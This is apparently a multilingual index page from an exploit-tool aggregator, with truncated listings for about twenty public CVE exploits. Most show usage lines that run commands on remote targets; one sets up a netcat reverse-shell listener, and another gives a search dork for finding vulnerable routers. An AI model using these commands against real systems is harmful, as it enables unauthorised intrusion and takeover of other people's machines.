CVE-2022-1388

CVE-2022-1388 Überprüfung und Exploit für CVE-2022-1388 Installation: root@kitploit: python3 -m pip install -r requirements.txt Verwendung Einzeln : root@kitploit: python3 cve.py s fullurl apicommand example python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '"command":"run","utilCmdArgs":"...

Flerken

Flerken Einleitung Command Line Obfuscation CLOB hat sich als ein nicht zu vernachlässigender Faktor bei dateiloser Malware oder bösartigen Akteuren erwiesen, die sich "von der vorhandenen Infrastruktur ernähren". Während Dutzende von Verschleierungswerkzeugen in der Praxis zu finden sind, gibt e...

CVE-2022-46196

CVE-2022-46196 Descrizione Questo codice Python sfrutta una vulnerabilità di iniezione di comandi non autenticata nelle versioni di Cacti fino alla 1.2.22 inclusa. Usa argparse per analizzare gli argomenti dalla riga di comando, requests per ottenere il contenuto HTML di un'istanza Cacti target e...

cve-2020-24572

CVE-2020-24572 Eine Schwachstelle wurde in includes/webconsole.php in RaspAP 2.5 entdeckt. Mit authentifiziertem Zugriff kann ein Angreifer eine fehlkonfigurierte und praktisch uneingeschränkte Webkonsole nutzen, um das zugrunde liegende Betriebssystem, auf dem diese Software läuft, anzugreifen u...

cve-2020-11651-exp-plus

Use bash para executar o parâmetro --exec. O script original era /bin/sh, então alguns comandos são incompatíveis, como o reverse shell em bash. 2. O código original obtinha a versão do salt-master local para determiner se o host remoto estava vulnerável, um erro lógico óbvio. Removi diretamente...

CVE-2024-7399-POC

CVE-2024-7399 Exploit per CVE-2024-7399. Maggiori dettagli possono essere trovati qui: https://davidxbors.github.io/0xpages/posts/cve-2024-7399/. Uso: root@kitploit: python3 CVE-2024-7399.py https://localhost:7002/ --check python3 CVE-2024-7399.py https://localhost:7002/ --execute python3...

CVE-2024-29269

CVE-2024-29269 Che consente l'esecuzione di comandi OS non autenticati sui router TLR-2005KSH. Questo exploit sfrutta la vulnerabilità per eseguire comandi arbitrari sui router interessati. Dork ZoomEye :- title:"Login to TLR-2005KSH" Fonte:...

CVE-2018-2628

CVE-2018-2628 0x01 Nessus-Scan 0x02 K8 Tools GetShell 0x03 CMD-Abfrage Verwendungsmethode: root@kitploit: python cve-2018-2628.py set url :http://xx.xx.xx.xx:8001/beawlsinternal/wlscmd.jsp cmd : whoami win-xxx8cb989qh\administrator cmd : net user \WIN-XXX8CB989QH 的用户帐户...

CVE-2017-12636

Couchdb-Schwachstelle zur Ausführung beliebiger Befehle CVE-2017-12636...

hfs-cve-2014-6287-exploit

أداة استغلال HFS CVE-2014-6287 نظرة عامة يحتوي هذا المستودع على أداة استغلال مبنية بلغة Python مصممة لاستغلال الثغرة الأمنية CVE-2014-6287 في خادم ملفات HTTP HFS الإصدارات 2.3.x. تسمح هذه الثغرة للمهاجم بتنفيذ أوامر عشوائية على الخادم، مما قد يؤدي إلى وصول وتحكم غير مصرح به. ⚠️ إخلاء مسؤولية: هذه...

cve-2018-11776-docker

CVE-2018-11776 Docker container e POC exploit scritto in Go Puoi creare la tua immagine ed eseguirla: root@kitploit: docker build . -t yourimagename docker container run -it --rm -p 8080:8080 yourimagename Oppure puoi semplicemente scaricare quella che ho creato con amore per te: root@kitploit:...

WP-CVE-2016-10033

WordPress = 4.6 - Vulnerabilidade de Execução de Comandos PHPMailer CVE-2016-10033 Informações da Vulnerabilidade O WordPress é uma plataforma de blogs desenvolvida em PHP, que permite aos usuários criar seus próprios sites em servidores que suportam PHP e banco de dados MySQL. O WordPress também...

CVE-2023-45158

CVE-2023-45158 Passos 1. Execute o servidor web root@kitploit: cd web2py python3 web2py.py 2. Injete seu comando usando a URL http://:8000/hack?msg=%27%3B%3B%27. Substitua e pelos seus valores. Exemplos 1. Crie um arquivo no servidor http://:8000/hack?msg=%27%3Btouch%20hack%3B%27 2. Shell reverso...

drupalgeddon2

drupalgeddon2 Exploit para CVE-2018-7600. Uso: drupalgeddon2 options root@kitploit: -h: URL alvo -c: comando do SO Exemplos: drupalgeddon2.py -h http://www.victim.com -c 'ls -la' Baseado em https://github.com/FireFart/CVE-2018-7600...

CVE-2020-24032

CVE-2020-24032 Descrizione suggerita tz.pl sulle appliance virtuali XoruX LPAR2RRD e STOR2RRD 2.70 consente l'iniezione di comandi del sistema operativo attraverso cmd=set&tz=OS tramite metacaratteri di shell in un fuso orario. Tipo di vulnerabilità: Altro Fornitore del prodotto XoruX s.r.o. Base...

CVE-2022-46169_poc

CVE-2022-46169 esecuzione remota di codice non autenticata Descrizione Bypass dell'autenticazione: il controllo di autorizzazione basato sul nome host non è implementato in modo sicuro nella maggior parte delle installazioni di Cacti Iniezione di comandi: l'input utente non sanitizzato viene...

CVE-2022-26134

pip3 install -r requirements.txt uso: python3 exp.py url "cmd" esempio: python3 exp.py http://192.168.1.1/ whoami...

CVE-2022-25765

Exploit CVE-2022-25765 Un piccolo exploit POC per CVE-2022-25765, PDFkit-CMD-Injection Utilizzo 1. Avvia un listener netcat sulla tua macchina attaccante: root@kitploit: nc -lvnp 4444 2. Esegui l'exploit: root@kitploit: python cve-2022-25765.py -t http://TARGETIP:PORT -l YOURIP -p YOURPORT Esempi...

CVE-2024-31317-Deployer

CVE-2024-31317 Deployer 🔒 Dichiarazione sulla Ricerca di Sicurezza Questo progetto è destinato esclusivamente a scopi di ricerca sulla sicurezza e finalità didattiche. L'uso di questo strumento per test non autorizzati è illegale. Gli autori non sono responsabili per eventuali abusi o danni. 📋...

CVE-2025-5840

CVE-2025-5840 Exploit CVE-2025-5840 em Python por hax / haxerr9 Como Usar: Certifique-se de que o Python3 está instalado no sistema. Execute "python3 CVE-2025-5840.py URL -c COMMAND". Não se esqueça de fornecer os parâmetros antes de executar o script. Exemplo de Uso: NÃO TESTADO Este exploit não...